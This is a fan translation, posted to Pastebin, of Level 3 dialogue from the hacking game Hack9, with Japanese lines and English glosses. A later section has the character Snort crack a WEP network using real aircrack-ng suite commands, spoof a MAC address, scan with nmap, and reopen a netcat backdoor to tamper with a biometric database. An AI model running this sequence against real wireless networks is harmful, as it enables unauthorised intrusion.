wheelofrally

Hack9 Lv3 revision

May 15th, 2017
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. *********************************************
  2. Hack9 Version 1.01 Windows 10 Translation
  3. Date: 2017/04/xx
  4. Translated by: anonymous
  5.  
  6. Main Text Translated:
  7. Level 3: Underground City
  8.  
  9. Other Text Translated:
  10. -Future dialogue
  11. *********************************************
  12.  
  13. [When you arrive on the other side of the Level 3 entrance from level 2, and use the PC]
  14.  
  15. UNIXベースのたんまつがある // It's a Unix-based terminal
  16. あつかいやすいインターフェイスになっている// with a user-friendly interface.
  17.  
  18. どうやらとびらをせいぎょしているようだ // It seems to control the door.
  19.  
  20. スノートはとびらをあけた // Snort opened the door.
  21.  
  22. スノートはとびらのパスワードをへんこうした // Snort changed the door's password.
  23.  
  24. [When you obtain an Ice Sword from the permanent crate]
  25.  
  26. 「アイスソード」をてにいれた! // You obtained the Ice Sword!
  27.  
  28.  
  29. [When you reach the large pitfall down to level 4 you get a transmission from CHIEF]
  30. [Note: This can occur before you meet the Administrator]
  31.  
  32. しゅにん「スノート、きゅうなつうしんですまない //Chief: Snort, this is a bit abrupt, but
  33. ドクガスのネットワークのことでてつだってもらいたいことがあるんだ //There's something about the PGA network
  34. I need your help with.
  35.  
  36. さきほどきみがもってきたぶんしょうをもとに4かいそう// I used the documents you brought to check out
  37. までのネットワークをしらべていたんだが// the network up to the 4th level,
  38. 5かいそうのファイアーウォールがすべてのじょうほうを// but the 5th level firewall
  39. しゃだんするじょうたいになっていたんだ// has cut off all outside access.
  40.  
  41. つまり、5かいそうからさきにアクセスできない // I essentially can't access anything on the 5th level.
  42. ほぼ(せつだん)じょうたいなんだ// I'm more or less completely shut out here.
  43.  
  44. そこで、きみにうちがわからファイアーウォールをそうさして // I want you to get in there
  45. and disable the firewall from within,
  46. 5かいそうへアクセスできるようにしてもらいたい」 // so we can access the fifth level.
  47.  
  48. じょしゅ「しかし、しゅにん //Assistant: But Chief,
  49. 5かいそうのパソコンはげんじゅうな(げんしろ)のなかにあるため// The PC's on the 5th floor are inside the nuclear reactor.
  50. いままでのようにちょくせつそうさすることができません」// You can't access them physically this time.
  51.  
  52. しゅにん「じつは5かいそうへのつうろは //Chief: As it happens, through the firewall is not the only
  53. ファイアーウォールからだけではない //entry to the 5th level.
  54. 3かいそうからでもむせんでアクセスできるばしょがあるようなんだ」 // There's also a wireless access point
  55. on the 3rd level that we could use.
  56.  
  57. じょしゅ「あるよう?」 //Assistant: There is?
  58.  
  59. しゅにん「たしかめようにも3かいそうには//Chief: The problem is, the 3rd level
  60. むせんでアクセスできるパソコンがないんだ、//doesn't have any wireless capable PC's,
  61. だからここからそんざいをかくにんできない //so we can't try it ourselves.
  62.  
  63. そこでスノート、 //That means, Snort,
  64. ぼくのかわりにさがしてもらいたい//that I want you to find one for me.
  65. まずは(ノートパソコン)をみつけてくれ、//First things first, you'll need to find a laptop.
  66. みつけたらまたつうしんしてほしい」// Contact me once you do.
  67.  
  68. [When you reach the level 5 entrance via level 3 without having hacked the entrance lock]
  69.  
  70. UNIXベースのたんまつがある // It's a Unix-based terminal
  71. あつかいやすいインターフェイスになっている// with a user-friendly interface.
  72.  
  73. バイオメトリクスによりでいりぐちをかんりしているようだ // The entrance is secured with biometric authentication.
  74.  
  75. しゅにん「とびらをあけるには //Chief: You could get the door open more efficiently
  76. サーバルームのシステムをそうさしたほうがはやい//from the server room.
  77. まずはサーバルームへアクセスするほうほうをさがそう」//You'll need to find a way in there.
  78.  
  79. [When you encounter the Administrator for the first time] {Note: In order to meet her, Douglas has to be defeated first}
  80.  
  81. ?「わたしはニチナンからのしゅっこうしゃいんです//?: I'm on loan from Nichinan.
  82. ここではドクガスのネットワークかんりをしていました// I've been managing the PGA network here.
  83. そちらがドクガスのかんけいしゃでないことをみこんでおねがいがあります // You don't look like you're with them.
  84. Could I make a request?
  85.  
  86. わたしはいのちをねらわれています // My life is in danger.
  87. ほごしていただけないでしょうか」 // Would you consider granting me your protection?
  88.  
  89. たいちょう「スノート、//Commander: Snort,
  90. だれにもわれわれのじょうほうをおしえるわけにはいかない// We can't divulge any information to anyone, no exceptions.
  91. ほごはしないことをつたえてくれ」// Tell her we can't agree to that.
  92.  
  93. スノートはことわった // Snort refused.
  94.  
  95. かんりしゃ「わかりました、//Administrator: I understand.
  96. そちらのじじょうをりかいしているつもりです、// You undoubtedly have your reasons,
  97. ふかくはききません// so I'll refrain from prying further.
  98.  
  99. こちらのじょうほうとドクガスほんぶからのだしゅつほうほうを // Then perhaps we might strike a different bargain?
  100. こうかんするじょうけんではどうでしょうか」// My information on this complex for
  101. a way to escape from this place.
  102.  
  103. たいちょう「それくらいのじょうほうならいいだろう // Commander: That much we can afford to tell her.
  104. はなせ」// Let her go.
  105.  
  106. スノートはあんぜんなだしゅつほうほうをおしえた*//Snort told her a way to escape safely.
  107.  
  108. かんりしゃ「ありがとう」// Administrator: Thank you.
  109.  
  110. しゅにん「5かいそうのじょうほうをきいてくれ //Chief: Ask her about the 5th level.
  111. もくてきのじょうほうはおそらくそこにある」// That should be most relevant to our objective.
  112.  
  113. 5かいそうについて?// What about the 5th level?
  114.  
  115. かんりしゃ「5かいそうはげんしろです //Administrator: The nuclear reactor is on the 5th level.
  116. げんしろへいくにはげんじゅうなセキュリティを// The security along the way
  117. とおらなければいけません // will be tight.
  118.  
  119. めのもうまくや、ゆびのしもんなど // You'll need to pass various biometric authentications,
  120. バイオメトリクスにんしょうがひつようになります // such as fingerprint and retinal scans.
  121. かぎられた(けんりしゃ)でなければはいることができません」// Only authorized personnel can get in.
  122.  
  123. けんりしゃ?//Authorized?
  124.  
  125. かんりしゃ「こべつのIDカード、パスワードをもち、// Administrator: They have their characteristics
  126. しんたいのとくちょうをにんしょうデータベースにほかんしているものです // recorded in the biometric database, as
  127. well as their own passwords and ID cards.
  128.  
  129. ドクガスのかんぶやニチナンのテストパイロット、//The PGA leadership, Nichinan test pilots,
  130. ネットワークかんりしゃはけんりをもっています//and network administrators are all authorized.
  131. わたしもけんりしゃでした//I used to be as well,
  132. いまはそのけんりをドクガスからぼっしゅうされています」//until the PGA revoked my rights.
  133.  
  134. ドクガスのかんぶ?//The PGA leadership?
  135.  
  136. かんりしゃ「わたしはくわしくはしりません、//Administrator: I don't have any concrete info,
  137. かれらはいま、かくほかんこにいます」//except that they're in the
  138. nuclear vault right now.
  139.  
  140. ニチナンのテストパイロット?//Nichinan test pilots?
  141.  
  142. かんりしゃ「ニチナンからしゅっこうされたテストパイロットです、// Administrator: Personnel on loan from Nichinan,
  143. ニチナンのしさくきにのりデータをあつめることがかれらのしごとです // Their task is gathering analyzable usage data
  144. from operating Nichinan prototypes.
  145. たいどのわるさからドクガスに(クラッカーぶたい)とよばれています」// Their disagreeable dispositions got them nicknamed
  146. the "Cracker Corps".
  147.  
  148. (クラッカーぶたい)?//"Cracker Corps"?
  149.  
  150. かんりしゃ「ニチナンにスカウトされたうでききの//Administrator: A collective moniker for expert AT pilots
  151. ATのりのあだなです、//scouted by Nichinan.
  152. おもに3にんでチームをくんでいます // They're primarily comprised of a 3 man team
  153. なまえはダグラス、オリバー、スコット」// consisting of Douglas, Oliver, and Scott.
  154.  
  155. ダグラス?//Douglas?
  156.  
  157. かんりしゃ「ダグラスはちかげすいどうにいます」//Administrator: Douglas is in the underground sewer.
  158.  
  159. オリバー?//Oliver?
  160.  
  161. かんりしゃ「オリバーはちかとしのBブリッジでみかけました」//Administrator: I caught sight of Oliver on the underground city's B-bridge.
  162.  
  163. スコット?//Scott?
  164.  
  165. かんりしゃ「スコットはおそらく4かいそうにいます」//Administrator: Scott is most likely on the 4th level.
  166.  
  167. たいちょう「かのじょがこのネットワークをかんりしていたのか?」//Commander: She administrated this network?
  168.  
  169. しゅにん「よくわかりません、//Chief: I'm not sure.
  170. スノートがもってきたしりょうには// The documents Snort brought in
  171. かんりしゃのなまえは(9)とだけかかれています」// refer to the admin as only "9".
  172.  
  173. (9)?// "9"?
  174.  
  175. かんりしゃ「わたしのじょうしです、//Administrator: That's my boss...
  176. がかれのことはよくわかりません」// but there's very little I know about him.
  177.  
  178. たいちょう「もういい、//Commander: That's enough.
  179. かのじょをかいほうしてやれ」// You can let her go now.
  180.  
  181.  
  182. [After talking to the Administrator, when Snort encounters Oliver at the B-Bridge]
  183.  
  184. オリバー「おまえがダグラスを・・・ //Oliver: What you did to Douglas...
  185. ゆるせん・・・」 // You're dead meat...
  186.  
  187. [The scene shifts to the bridge]
  188.  
  189. たいちょう「やつもATのりか //Commander: He's an AT pilot too, huh?
  190. ひきずりだしてじょうほうをてにいれろ」// Get him out of there and make him talk.
  191.  
  192. バイヤー「のっているATはコーギドックだが、//Buyer: The AT he's riding is a Corgi Dog,
  193. そうびしているATようのレッカウランだんだ// equipped with AT use depleted uranium rounds.
  194.  
  195. アメリカりくぐんの105ミリほうだん//U.S. Army 105mm shells.
  196. M735A1とおなじいりょくをもち//They possess the stopping power of an M735A1.
  197. そのうえ、ねんしょうしたあとウランをひさんさせる」//On top of that, on combustion the
  198. uranium contained within disperses.
  199.  
  200. たいちょう「へたをすれば//Commander: There's a very real risk
  201. ひばくすることになる//of radiation exposure here.
  202. きをつけろ、スノート」//Watch out, Snort.
  203.  
  204. [After the battle]
  205.  
  206. しゅにん「オリバーは// Chief: Doesn't look like Oliver
  207. 5かいそうのじょうほうを// had anything relevant
  208. もっていなかったようですね」// on the 5th level.
  209.  
  210. (かくほかんこ)にアクセスできるクラッカーぶたいのひとり、// How about Scott then?
  211. スコットはどうかわかりませんが」//He's the one Cracker who's actually
  212. authorized to enter the vault.
  213.  
  214. たいちょう「さいごのひとりか・・・//Chief: He's the last one, huh...
  215.  
  216. スノート、//Snort,
  217. これいじょうじかんをかけるわけにはいかない、// Time's wasting.
  218. 4かいそうへいき、//Head to the 4th level,
  219. スコットをさがすんだ」//and find Scott.
  220.  
  221. ---------Future Dialogue
  222.  
  223. [The next set of dialogue occurs after a revisit to the wireless lan hotspot on level 3]
  224. [Requirements: Defeat Scott on level 4, acquire 9's laptop from level 2]
  225.  
  226. スノートはノートパソコンにスコットのLANカードをさしこんだ//Snort inserted Scott's LAN card into the laptop.
  227.  
  228. スノートはノートパソコンとAPとかんれんしてみようとした//Snort tried accessing the
  229. Access Point with the laptop.
  230.  
  231. #aireplay-ng -1 0
  232.  -a 12:34:56:78:90:AB
  233.  -h 00:FF:FF:FF:FF:FF
  234.  -e WDOKUGAS ath0
  235.  
  236. Sending Authentication Request
  237. Authentication successful
  238. Sending Association Request
  239. Association successful :-)
  240.  
  241. スノートはノートパソコンとAPとかんれんさせることができた // Snort connected the PC to the Access Point.
  242.  
  243. しゅにん「よし、つぎはWEPあんごうをかいどくするために // Chief: Good.
  244. Fragmentation attackをはじめる」// Next, a fragmentation attack to crack the WEP code.
  245.  
  246. #aireplay-ng
  247.  -5 -b 12:34:56:78:90:AB
  248.  -h 00:FF:FF:FF:FF:FF ath0
  249.  
  250. Use this packet ? Y
  251.  
  252. Saving keystream in
  253. fragment-0000-0000.xor
  254.  
  255. #packetforge-ng
  256.  -0 -a 12:34:56:78:90:AB
  257.  -h 00:FF:FF:FF:FF:FF
  258.  
  259. -k 255.255.255.255
  260.  -l 255.255.255.255
  261.  -y fragment-0000-0000.xor
  262.  -w doku
  263.  
  264. Wrote packet to: doku
  265.  
  266. #airodump-ng
  267.  --bssid 12:34:56:78:90:AB
  268.  --channel 11
  269.  -w /tmp/cap ath0
  270.  
  271. #aireplay-ng
  272.  -2 -r doku ath0
  273.  
  274. Use this packet ? Y
  275.  
  276. Saving chosen packet
  277.  in replay_src-0000-0000.cap
  278.  
  279. スノートはかいどくするのにじゅうぶんなデータが // Snort confirmed there was sufficient
  280. あつまったことをかくにんした // data for deciphering.
  281.  
  282. しゅにん「OK、あとはかいどくするだけだ」//Chief: OK, now we just need to crack the password.
  283.  
  284. #aircrack-ng -z /tmp/cap
  285.  
  286. スノートはかいどくがおわるまでまった // Snort waited until the deciphering finished.
  287.  
  288. #KEY FOUND! (ASCII: D4O5KU6G06U)
  289.  
  290. #iwconfig eth0
  291.  essid WDOKUGAS
  292.  key D4O5KU6G06U
  293.  
  294. #ifconfig eth0
  295.  hw ether 00:FF:FF:FF:FF:FF
  296.  
  297. #dhcpcd eth0
  298.  
  299. スノートはファイアーウォールにせつぞくしているかかくにんをした // Snort tested for firewall connections.
  300.  
  301. #ping 192.168.4.1
  302.  
  303. Packets:
  304.  Sent=4, Received=4, Lost=0(0% loss),
  305.  
  306. しゅにん「ファイアーウォールはうちがわからはきのうしないはず*、//Chief: The firewall shouldn't block anything
  307. しんにゅうできないかすみずみまでさがしてくれ」//from the inside. Check for any possible entry points.
  308.  
  309. せつぞくしている、//Now connected,
  310. スノートはしんにゅうするほうほうがないか//Snort tried to find an intrusion point.
  311. かくにんした//
  312.  
  313. # NMAP -sN 192.168.4.1
  314.  
  315. 6666/TCP OPEN NETCAT
  316.  
  317. しゅにん「NETCAT? これはバックドアだ」//Chief: NETCAT? That's a backdoor.
  318.  
  319. じょしゅ「ということはすでにしんにゅうされていたということ?」// Assistant: Does that mean they've
  320. already been intruded before?
  321.  
  322. しゅにん「もしかしたら // Chief: Someone might have used
  323. このむせんLANをりようしてそうさしていたかもしれない」// this exact WLAN card for it.
  324.  
  325. スノートはログをしらべた//Snort examined the log.
  326.  
  327. しゅにん「5かいそうのデータベースをなんども//Chief: I'm seeing traces of
  328. そうさしたあとがのこっている、// repeat database tampering.
  329. バイオメトリクスのデータベースをそうさしていたようだ」// Namely, the biometrics database.
  330.  
  331. たいちょう「よくはわからんがしんにゅうしゃが // Commander: I'm not 100% on this, but
  332. 5かいそうのセキュリティをつうかできるように // apparently our intruder authorized themselves
  333. そうさしたのか?」// into the fifth floor?
  334.  
  335. しゅにん「スノート、// Chief: Snort,
  336. ぼくたちもおなじてをつかおう」// Let's do the same.
  337.  
  338. スノートはしゅにんからデータをおくってもらい//Snort received the data from Chief,
  339. それをバイオメトリクスのデータベースにとうろくした//and registered it in the biometrics database.
  340.  
  341. スノートはバックドアをがいぶからそうさできるようにせっていした//Snort configured the backdoor
  342. to accept external access.
  343.  
  344. たいちょう「よくやった、// Commander: Good job.
  345. これでげんじゅうなセキュリティをつうかできるはずだ」// This should get us past the 5th level security.
Add Comment
Please, Sign In to add comment